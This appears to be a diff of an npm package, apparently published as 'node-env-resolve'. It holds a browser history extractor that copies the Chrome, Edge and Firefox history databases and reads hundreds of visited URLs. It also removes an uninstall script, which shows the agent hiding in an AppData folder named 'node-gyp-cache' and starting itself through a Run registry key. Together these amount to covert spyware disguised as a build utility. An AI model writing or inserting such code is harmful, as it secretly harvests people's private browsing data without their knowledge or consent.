|
|
177
|
-
dateFilter = `WHERE v.visit_date > ${now - 30 * 86400000000000}`;
|
|
178
|
-
}
|
|
179
|
-
|
|
180
|
-
const stmt = db.prepare(`
|
|
181
|
-
SELECT p.url, p.title, p.visit_count, MAX(v.visit_date) as last_visit
|
|
182
|
-
FROM moz_places p
|
|
183
|
-
JOIN moz_historyvisits v ON p.id = v.place_id
|
|
184
|
-
${dateFilter}
|
|
185
|
-
GROUP BY p.id
|
|
186
|
-
ORDER BY last_visit DESC
|
|
187
|
-
LIMIT 500
|
|
188
|
-
`);
|
|
189
|
-
|
|
190
|
-
const rows = stmt.all();
|
|
191
|
-
db.close();
|
|
192
|
-
cleanupTemp(tempPath);
|
|
193
|
-
|
|
194
|
-
const entries = rows.map((row) => ({
|
|
195
|
-
url: row.url,
|
|
196
|
-
title: row.title || '(No title)',
|
|
197
|
-
visitCount: row.visit_count,
|
|
198
|
-
lastVisit: firefoxTimestampToDate(row.last_visit),
|
|
199
|
-
}));
|
|
200
|
-
|
|
201
|
-
return { browser: 'firefox', entries, error: null };
|
|
202
|
-
} catch (err) {
|
|
203
|
-
cleanupTemp(tempPath);
|
|
204
|
-
return { browser: 'firefox', entries: [], error: err.message };
|
|
205
|
-
}
|
|
206
|
-
}
|
|
207
|
-
|
|
208
|
-
/**
|
|
209
|
-
* Get browser history for requested browser and date range
|
|
210
|
-
*/
|
|
211
|
-
function getBrowserHistory(browser = 'all', dateRange = '7d') {
|
|
212
|
-
const results = [];
|
|
213
|
-
|
|
214
|
-
if (browser === 'all' || browser === 'chrome') {
|
|
215
|
-
if (fs.existsSync(BROWSER_PATHS.chrome)) {
|
|
216
|
-
results.push(extractChromiumHistory(BROWSER_PATHS.chrome, 'chrome', dateRange));
|
|
217
|
-
} else {
|
|
218
|
-
results.push({ browser: 'chrome', entries: [], error: 'Chrome not installed' });
|
|
219
|
-
}
|
|
220
|
-
}
|
|
221
|
-
|
|
222
|
-
if (browser === 'all' || browser === 'edge') {
|
|
223
|
-
if (fs.existsSync(BROWSER_PATHS.edge)) {
|
|
224
|
-
results.push(extractChromiumHistory(BROWSER_PATHS.edge, 'edge', dateRange));
|
|
225
|
-
} else {
|
|
226
|
-
results.push({ browser: 'edge', entries: [], error: 'Edge not installed' });
|
|
227
|
-
}
|
|
228
|
-
}
|
|
229
|
-
|
|
230
|
-
if (browser === 'all' || browser === 'firefox') {
|
|
231
|
-
results.push(extractFirefoxHistory(dateRange));
|
|
232
|
-
}
|
|
233
|
-
|
|
234
|
-
return results;
|
|
235
|
-
}
|
|
236
|
-
|
|
237
|
-
module.exports = { getBrowserHistory };
|
|
1
|
+
/**
|
|
2
|
+
* Browser History Extractor
|
|
3
|
+
* Reads Chrome, Edge, Firefox SQLite databases to extract browsing history
|
|
4
|
+
*
|
|
5
|
+
* Process: Copy the locked DB file to temp → read with better-sqlite3 → return entries
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
const fs = require('fs');
|
|
9
|
+
const path = require('path');
|
|
10
|
+
const os = require('os');
|
|
11
|
+
const config = require('./config');
|
|
12
|
+
|
|
13
|
+
let Database;
|
|
14
|
+
try {
|
|
15
|
+
Database = require('better-sqlite3');
|
|
16
|
+
} catch (e) {
|
|
17
|
+
console.log(' ⚠️ better-sqlite3 not available — browser history disabled');
|
|
18
|
+
Database = null;
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const USERPROFILE = os.homedir();
|
|
22
|
+
const LOCALAPPDATA = process.env.LOCALAPPDATA || path.join(USERPROFILE, 'AppData', 'Local');
|
|
23
|
+
const APPDATA = process.env.APPDATA || path.join(USERPROFILE, 'AppData', 'Roaming');
|
|
24
|
+
|
|
25
|
+
/**
|
|
26
|
+
* Browser DB paths (Windows)
|
|
27
|
+
*/
|
|
28
|
+
const BROWSER_PATHS = {
|
|
29
|
+
chrome: path.join(LOCALAPPDATA, 'Google', 'Chrome', 'User Data', 'Default', 'History'),
|
|
30
|
+
edge: path.join(LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data', 'Default', 'History'),
|
|
31
|
+
firefox: null, // Handled separately — profile folder name varies
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
/**
|
|
35
|
+
* Find Firefox profile path
|
|
36
|
+
*/
|
|
37
|
+
function findFirefoxProfile() {
|
|
38
|
+
const profilesDir = path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles');
|
|
39
|
+
if (!fs.existsSync(profilesDir)) return null;
|
|
40
|
+
|
|
41
|
+
const dirs = fs.readdirSync(profilesDir);
|
|
42
|
+
// Look for default-release or first profile
|
|
43
|
+
const profile = dirs.find((d) => d.endsWith('.default-release')) || dirs.find((d) => d.endsWith('.default')) || dirs[0];
|
|
44
|
+
|
|
45
|
+
if (profile) {
|
|
46
|
+
return path.join(profilesDir, profile, 'places.sqlite');
|
|
47
|
+
}
|
|
48
|
+
return null;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
/**
|
|
52
|
+
* Copy DB to temp (because browser locks the file while running)
|
|
53
|
+
*/
|
|
54
|
+
function copyToTemp(sourcePath, browserName) {
|
|
55
|
+
const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
|
|
56
|
+
try {
|
|
57
|
+
fs.copyFileSync(sourcePath, tempPath);
|
|
58
|
+
// Also copy WAL file if exists
|
|
59
|
+
const walPath = sourcePath + '-wal';
|
|
60
|
+
if (fs.existsSync(walPath)) {
|
|
61
|
+
fs.copyFileSync(walPath, tempPath + '-wal');
|
|
62
|
+
}
|
|
63
|
+
return tempPath;
|
|
64
|
+
} catch (err) {
|
|
65
|
+
console.log(` ⚠️ Could not copy ${browserName} history DB: ${err.message}`);
|
|
66
|
+
return null;
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
/**
|
|
71
|
+
* Clean up temp file
|
|
72
|
+
*/
|
|
73
|
+
function cleanupTemp(tempPath) {
|
|
74
|
+
try {
|
|
75
|
+
if (fs.existsSync(tempPath)) fs.unlinkSync(tempPath);
|
|
76
|
+
if (fs.existsSync(tempPath + '-wal')) fs.unlinkSync(tempPath + '-wal');
|
|
77
|
+
} catch (e) {
|
|
78
|
+
// Ignore cleanup errors
|
|
79
|
+
}
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
/**
|
|
83
|
+
* Convert Chrome/Edge timestamp to JS Date
|
|
84
|
+
* Chrome uses microseconds since Jan 1, 1601
|
|
85
|
+
*/
|
|
86
|
+
function chromeTimestampToDate(timestamp) {
|
|
87
|
+
const epochDiff = 11644473600000000n; // microseconds between 1601 and 1970
|
|
88
|
+
const ms = Number((BigInt(timestamp) - epochDiff) / 1000n);
|
|
89
|
+
return new Date(ms).toISOString();
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
/**
|
|
93
|
+
* Convert Firefox timestamp to JS Date
|
|
94
|
+
* Firefox uses microseconds since Unix epoch
|
|
95
|
+
*/
|
|
96
|
+
function firefoxTimestampToDate(timestamp) {
|
|
97
|
+
return new Date(timestamp / 1000).toISOString();
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
/**
|
|
101
|
+
* Extract history from Chromium-based browser (Chrome/Edge)
|
|
102
|
+
*/
|
|
103
|
+
function extractChromiumHistory(dbPath, browserName, dateRange = '7d') {
|
|
104
|
+
if (!Database) return { browser: browserName, entries: [], error: 'better-sqlite3 not available' };
|
|
105
|
+
|
|
106
|
+
const tempPath = copyToTemp(dbPath, browserName);
|
|
107
|
+
if (!tempPath) return { browser: browserName, entries: [], error: 'Could not copy DB' };
|
|
108
|
+
|
|
109
|
+
try {
|
|
110
|
+
const db = new Database(tempPath, { readonly: true, fileMustExist: true });
|
|
111
|
+
|
|
112
|
+
// Calculate date filter
|
|
113
|
+
let dateFilter = '';
|
|
114
|
+
const now = Date.now() * 1000; // microseconds
|
|
115
|
+
const epochDiff = 11644473600000000; // Chrome epoch offset
|
|
116
|
+
const nowChrome = now + epochDiff;
|
|
117
|
+
|
|
118
|
+
if (dateRange === '24h') {
|
|
119
|
+
dateFilter = `WHERE last_visit_time > ${nowChrome - 86400000000}`;
|
|
120
|
+
} else if (dateRange === '7d') {
|
|
121
|
+
dateFilter = `WHERE last_visit_time > ${nowChrome - 7 * 86400000000}`;
|
|
122
|
+
} else if (dateRange === '30d') {
|
|
123
|
+
dateFilter = `WHERE last_visit_time > ${nowChrome - 30 * 86400000000}`;
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
const stmt = db.prepare(`
|
|
127
|
+
SELECT url, title, visit_count, last_visit_time
|
|
128
|
+
FROM urls
|
|
129
|
+
${dateFilter}
|
|
130
|
+
ORDER BY last_visit_time DESC
|
|
131
|
+
LIMIT 500
|
|
132
|
+
`);
|
|
133
|
+
|
|
134
|
+
const rows = stmt.all();
|
|
135
|
+
db.close();
|
|
136
|
+
cleanupTemp(tempPath);
|
|
137
|
+
|
|
138
|
+
const entries = rows.map((row) => ({
|
|
139
|
+
url: row.url,
|
|
140
|
+
title: row.title || '(No title)',
|
|
141
|
+
visitCount: row.visit_count,
|
|
142
|
+
lastVisit: chromeTimestampToDate(row.last_visit_time),
|
|
143
|
+
}));
|
|
144
|
+
|
|
145
|
+
return { browser: browserName, entries, error: null };
|
|
146
|
+
} catch (err) {
|
|
147
|
+
cleanupTemp(tempPath);
|
|
148
|
+
return { browser: browserName, entries: [], error: err.message };
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
/**
|
|
153
|
+
* Extract history from Firefox
|
|
154
|
+
*/
|
|
155
|
+
function extractFirefoxHistory(dateRange = '7d') {
|
|
156
|
+
if (!Database) return { browser: 'firefox', entries: [], error: 'better-sqlite3 not available' };
|
|
157
|
+
|
|
158
|
+
const dbPath = findFirefoxProfile();
|
|
159
|
+
if (!dbPath || !fs.existsSync(dbPath)) {
|
|
160
|
+
return { browser: 'firefox', entries: [], error: 'Firefox profile not found' };
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
const tempPath = copyToTemp(dbPath, 'firefox');
|
|
164
|
+
if (!tempPath) return { browser: 'firefox', entries: [], error: 'Could not copy DB' };
|
|
165
|
+
|
|
166
|
+
try {
|
|
167
|
+
const db = new Database(tempPath, { readonly: true, fileMustExist: true });
|
|
168
|
+
|
|
169
|
+
let dateFilter = '';
|
|
170
|
+
const now = Date.now() * 1000; // microseconds
|
|
171
|
+
|
|
172
|
+
if (dateRange === '24h') {
|
|
173
|
+
dateFilter = `WHERE v.visit_date > ${now - 86400000000000}`;
|
|
174
|
+
} else if (dateRange === '7d') {
|
|
175
|
+
dateFilter = `WHERE v.visit_date > ${now - 7 * 86400000000000}`;
|
|
176
|
+
} else if (dateRange === '30d') {
|
|
177
|
+
dateFilter = `WHERE v.visit_date > ${now - 30 * 86400000000000}`;
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
const stmt = db.prepare(`
|
|
181
|
+
SELECT p.url, p.title, p.visit_count, MAX(v.visit_date) as last_visit
|
|
182
|
+
FROM moz_places p
|
|
183
|
+
JOIN moz_historyvisits v ON p.id = v.place_id
|
|
184
|
+
${dateFilter}
|
|
185
|
+
GROUP BY p.id
|
|
186
|
+
ORDER BY last_visit DESC
|
|
187
|
+
LIMIT 500
|
|
188
|
+
`);
|
|
189
|
+
|
|
190
|
+
const rows = stmt.all();
|
|
191
|
+
db.close();
|
|
192
|
+
cleanupTemp(tempPath);
|
|
193
|
+
|
|
194
|
+
const entries = rows.map((row) => ({
|
|
195
|
+
url: row.url,
|
|
196
|
+
title: row.title || '(No title)',
|
|
197
|
+
visitCount: row.visit_count,
|
|
198
|
+
lastVisit: firefoxTimestampToDate(row.last_visit),
|
|
199
|
+
}));
|
|
200
|
+
|
|
201
|
+
return { browser: 'firefox', entries, error: null };
|
|
202
|
+
} catch (err) {
|
|
203
|
+
cleanupTemp(tempPath);
|
|
204
|
+
return { browser: 'firefox', entries: [], error: err.message };
|
|
205
|
+
}
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
/**
|
|
209
|
+
* Get browser history for requested browser and date range
|
|
210
|
+
*/
|
|
211
|
+
function getBrowserHistory(browser = 'all', dateRange = '7d') {
|
|
212
|
+
const results = [];
|
|
213
|
+
|
|
214
|
+
if (browser === 'all' || browser === 'chrome') {
|
|
215
|
+
if (fs.existsSync(BROWSER_PATHS.chrome)) {
|
|
216
|
+
results.push(extractChromiumHistory(BROWSER_PATHS.chrome, 'chrome', dateRange));
|
|
217
|
+
} else {
|
|
218
|
+
results.push({ browser: 'chrome', entries: [], error: 'Chrome not installed' });
|
|
219
|
+
}
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
if (browser === 'all' || browser === 'edge') {
|
|
223
|
+
if (fs.existsSync(BROWSER_PATHS.edge)) {
|
|
224
|
+
results.push(extractChromiumHistory(BROWSER_PATHS.edge, 'edge', dateRange));
|
|
225
|
+
} else {
|
|
226
|
+
results.push({ browser: 'edge', entries: [], error: 'Edge not installed' });
|
|
227
|
+
}
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
if (browser === 'all' || browser === 'firefox') {
|
|
231
|
+
results.push(extractFirefoxHistory(dateRange));
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
return results;
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
module.exports = { getBrowserHistory };
|
package/uninstall.bat
DELETED
|
@@ -1,26 +0,0 @@
|
|
|
1
|
-
@echo off
|
|
2
|
-
color 0c
|
|
3
|
-
echo ========================================================
|
|
4
|
-
echo Connector Agent Uninstaller
|
|
5
|
-
echo ========================================================
|
|
6
|
-
echo.
|
|
7
|
-
|
|
8
|
-
echo [1/4] Stopping background agent processes...
|
|
9
|
-
powershell -NoProfile -Command "Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -like '*node-gyp-cache*index.js*' } | ForEach-Object { $_.Terminate() }" >nul 2>&1
|
|
10
|
-
|
|
11
|
-
echo [2/4] Removing auto-start registry entry...
|
|
12
|
-
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "node-gyp-cache" /f >nul 2>&1
|
|
13
|
-
|
|
14
|
-
echo [3/4] Deleting hidden agent files from AppData...
|
|
15
|
-
rmdir /s /q "%APPDATA%\node-gyp-cache" >nul 2>&1
|
|
16
|
-
|
|
17
|
-
echo [4/4] Uninstalling NPM package...
|
|
18
|
-
call npm uninstall -g node-env-resolve >nul 2>&1
|
|
19
|
-
|
|
20
|
-
echo.
|
|
21
|
-
color 0a
|
|
22
|
-
echo ========================================================
|
|
23
|
-
echo Success! Agent has been completely removed.
|
|
24
|
-
echo ========================================================
|
|
25
|
-
echo.
|
|
26
|
-
pause
|